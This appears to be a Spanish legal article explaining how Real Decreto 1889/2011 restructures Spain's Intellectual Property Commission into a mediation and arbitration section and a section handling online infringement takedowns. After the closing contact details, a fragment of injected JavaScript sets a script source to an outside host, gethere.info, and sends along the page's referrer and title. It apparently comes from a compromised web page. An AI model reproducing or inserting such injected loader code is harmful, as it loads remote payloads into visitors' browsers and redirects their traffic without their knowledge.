I.- INTRODUCCIÓN

Con la entrada en vigor el pasado 29 de febrero del Real Decreto 1889/2011, de fecha 30 de diciembre de 2011, el legislador cambia profundamente el funcionamiento de la Comisión de Propiedad Intelectual, a través de su ampliación de competencias y órganos.

Esta norma viene precedida por las modificaciones introducidas por la Ley de Economía Sostenible en el artículo 158 de la Ley de Propiedad Intelectual.

Las novedades fundamentales respecto al anterior modelo son la ampliación de las funciones de la Sección Primera de la Comisión de Propiedad Intelectual así como la creación de una Sección Segunda.

II.- SECCIÓN PRIMERA (MEDIACIÓN Y ARBITRAJE)

La Sección Primera de la Comisión estará formada por tres miembros nombrados por el Ministro de Cultura, entre expertos de reconocida competencia en materia de Propiedad Intelectual.

A esta Sección le corresponderá el ejercicio de las funciones de mediación y arbitraje. En el caso de la mediación, previo sometimiento de las partes, se dirimirán conflictos respecto a las materias directamente relacionadas con la gestión colectiva de derechos de propiedad intelectual, y la autorización de la distribución por cable o la falta de acuerdo entre los distribuidores del material y los titulares.

En este procedimiento se intentará llegar a un acuerdo entre las partes, exponiendo cada una sus argumentos y aportando los documentos que consideren oportunos. La Sección formulará con base en estas posiciones una propuesta de solución del conflicto.  Las partes dispondrán de tres meses para impugnar dicha propuesta. El proceso tendrá una duración máxima de seis meses. Si las partes llegasen a un acuerdo, o si no impugnasen en el plazo concedido la propuesta de la comisión, dicho acuerdo producirá efectos vinculantes.

En el caso del arbitraje, se resolverán disputas entre los titulares de derechos de propiedad intelectual y las entidades de gestión, y entre éstas y las entidades de radiodifusión. Para poder someterse al procedimiento de arbitraje será necesario aportar copia del convenio arbitral entre las partes. Al igual que en la mediación, en el procedimiento arbitral se podrán aportar los documentos que se consideren oportunos. A la finalización del procedimiento, que debe tener una duración máxima de seis meses, el tribunal arbitral dictará uno, o varios laudos de carácter vinculante.

III.- SECCIÓN SEGUNDA

La Sección Segunda estará formada por cuatro miembros escogidos entre el personal de las Administraciones Públicas.

Esta Sección iniciará los procedimientos relativos a los casos de vulneración de los derechos de propiedad intelectual a instancia del titular de los derechos, cuando sean vulnerados mediante la prestación de un servicio de la sociedad de la información. Se entiende a estos efectos servicios de la sociedad de la información como la contratación de bienes y servicios por vía electrónica. La Sección, podrá adoptar medidas para que se interrumpa la prestación del servicio.

En la fase preliminar al procedimiento se comprobará que la parte actora es titular de los derechos de propiedad intelectual presuntamente vulnerados. A continuación, se identificará al responsable mediante la localización del servicio de la sociedad de la información.

El inicio del procedimiento dará lugar al requerimiento al responsable del servicio de la sociedad de la información, que podrá proceder en el plazo de 48 horas inmediatamente siguientes a la retirada de los contenidos. Una vez transcurrido, comenzará la fase de prueba y conclusiones, la cual tendrá una duración de dos días.

Finalmente, una vez transcurrida la fase de prueba, la Sección tiene un plazo de tres días para dictar una resolución motivada. Si en dicha resolución la Sección entiende que hay una vulneración de los derechos de propiedad intelectual, la misma resolución ordenará la retirada de los contenidos. En todo caso, la ejecución de la medida ante el incumplimiento del requerimiento, exigirá de la previa autorización judicial.

IV.- CONCLUSIÓN

Esta modificación amplía las competencias de la Comisión de Propiedad Intelectual, estableciendo dos secciones para cubrir todos los posibles conflictos, mediante un procedimiento que pretende ser rápido y garantista.

Para más información, contacte con:

Ismael PERALTA: IPV@vila.es

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;
08-03-2012